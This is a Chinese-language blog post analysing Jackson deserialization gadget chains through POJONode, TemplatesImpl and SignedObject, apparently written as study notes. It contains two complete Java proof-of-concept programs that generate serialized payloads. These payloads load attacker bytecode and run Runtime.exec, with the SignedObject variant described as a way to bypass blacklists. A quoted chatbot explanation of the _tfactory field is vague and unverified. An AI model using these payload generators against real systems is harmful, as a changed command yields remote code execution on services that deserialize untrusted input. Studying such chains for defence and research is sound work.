Jackson反序列化漏洞浅析

Jackson反序列化漏洞浅析

本文字数:2232  阅读时长:5分钟

访客数:加载中... | 阅读量:加载中...

Jackson 反序列化漏洞原理

Jackson 反序列化漏洞利用的是 Jackson 中的 PojoNode, 它的 toString 是可以直接触发任意的 getter 的,触发条件如下

  1. 不需要存在该属性
  2. getter 方法需要有返回值
  3. 尽可能的只有一个 getter

TemplatesImpl 利用链分析

我们熟知通过触发 getter 方法而实现的反序列化利用链,就莫过于 CC3 利用链了

java
AnnotationInvocationHandler.readobject()
->(proxy)lazyMap.entrySet()
->AnnotationInvocationHandler.invoke()
->lazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform
->TrAXFilter(构造方法)()
->TemplatesImpl.newTransformer[和CC2类似只是换了触发方法]()
->TemplatesImpl.getTransletInstance() [此处触发了getter方法]
->TemplatesImpl.defineTransletClasses() [恶意类加载]
->(动态创建的类)cc3.newInstance()->Runtime.exec()

那么将上面的思路用代码实现一下,就有了下面这个可以本地弹计算器的 Demo (代码部分后面细讲)

java
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;

public class TemplatesImplChain {
    public static void main(String[] args) throws Exception {
        CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
        cttClass.removeMethod(writeReplace);
        cttClass.toClass();
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "fakes0u1");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        System.out.println(serial(exp));
        deserial(serial(exp));
    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

运行上述代码,成功弹出计算器 下面对代码部分进行分析

java
CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
cttClass.removeMethod(writeReplace);
cttClass.toClass();

上面这行代码的作用是移除掉 com.fasterxml.jackson.databind.node.BaseJsonNode 里面的 writeReplace 方法。原因是因为 POJONode 类​是继承自 ValueNode 类,而 ValueNode​类是继承 BaseJsonNode 类​的。而在 BaseJsonNode​中存在 writeReplace () 方法

java
Object writeReplace() {
        return NodeSerialization.from(this);
    }

当我们在反序列化的时候,会经过这个 writeReplace 方法。这个方法会对我们的序列化过程进行检查,从而阻止我们的序列化进程。我们需要将其重写出来,将这个方法去掉。

java
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);

上面的代码自定义了一个类,名字为 a,并且设置其父类为 AbstractTranslet。然后添加了构造器去执行目标代码。 而这个自定义的类就是我们后面触发 TemplatesImpl.defineTransletClasses () 要恶意加载的类。

java
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);

这部分代码就是对 TemplatesImpl 进行修饰,修改其_bytecodes 的值为我们要加载的恶意类,_name 可以为任意字符但是不能为空。而_tfactory 的作用我给忘了,查了很多讲 CB 链的都没细说,问了一下 GPT 给一下它的回答。

raw
在这个上下文中,赋值 _tfactory 为 TransformerFactoryImpl 是重要的,因为它告知 TemplatesImpl 如何处理和执行 XSLT 转换。
特别是在构造一个能够进行恶意代码执行的链 (利用链) 中,该工厂通常会被用来生成执行 XSLT 的 Transformer 对象。
尽管它不一定是必须的(在某些情况下,不赋值可能不会阻止代码执行),但是如果你想确保生成的 Transformer 可以正确地执行模板转换,设置 _tfactory 是一个常见的做法,以便能够利用 XSLT 功能。
总结来说,给 _tfactory 赋值是为了确保 TemplatesImpl 对象完全有效,且能在后续的反序列化过程中顺利执行其模板。
这是一种典型的利用链构建过程中的细节,通常是为了达到目标的安全漏洞利用。
java
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

这部分代码就是类似于 CC5 利用链了,不过把要触发 tostring 的类从 TiedMap 换成了 POJONode。

TemplatesImpl 利用链 Gadget

下面是整个反序列化的调用链。

java
BadAttributeValueExpException.readObject()
->POJONode.toString()
->BaseJsonNode.toString()
->ObjectWriter.writeValueAsString(Object value)​​​
->ObjectWriter.serializeAsField() [内部触发invoke]
->TemplatesImpl.getOutputProperties()
->TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance() [进入内含加载恶意类]
->(动态创建的恶意类)a.newInstance()
->Runtime.exec()

SignObject 利用链分析

SignObject 可以在 Templates 被 ban 的情况下,通过二次反序列化进行绕过。不了解二次反序列化可以看这篇文章

我们看看 SignedObject.getObject () 方法

java
public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

可以看出在其 getObject () 方法里面存在二次反序列化。 同样的先给出可以本地测试的 Demo。可以看出来和上面的代码只有部分不同,因为只是加了部分代码通过二次反序列进行绕过过滤,原理依然相同。

java
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;

public class SignObjectChain {
    public static void main(String[] args) throws Exception {
        CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
        cttClass.removeMethod(writeReplace);
        cttClass.toClass();
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "fakes0u1");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes2 = new POJONode(templatesImpl);
        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,jsonNodes2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
        POJONode jsonNodes = new POJONode(signedObject);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        System.out.println(serial(exp));
        deserial(serial(exp));
        //doPOST(exp.toString().getBytes());
        //byte[] byt=new byte[fileInputStream.available()];
        //fileInputStream.read(byt);
        //doPOST(byt);
    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

我们来看看不同的地方,可以看到主要多了这一部分代码

java
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

虽然不咋能看明白构造 SignedObject 的部分,但是后面一部分的原理还是很明白的。即仍然是通过 BadAttributeValueExpException 去触发 POJONode.toString () 从而实现任意 getter 方法调用。然后通过调用 SignedObject.getObject () 进行二次反序列化。

SignObject 利用链 Gadget

那么 SignObject 二次反序列化整体的利用链就很清晰了

java
BadAttributeValueExpException.readObject()
->POJONode.toString()
->SignedObject.getObject() [触发二次反序列化]
->BadAttributeValueExpException.readObject()
->POJONode.toString()
->BaseJsonNode.toString()
->ObjectWriter.writeValueAsString(Object value)​​​
->ObjectWriter.serializeAsField() [内部触发invoke]
->TemplatesImpl.getOutputProperties()
->TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance() [进入内含加载恶意类]
->(动态创建的恶意类)a.newInstance()
->Runtime.exec()

参考

深入浅出解析 Jackson 反序列化

Java 触发二次反序列化的点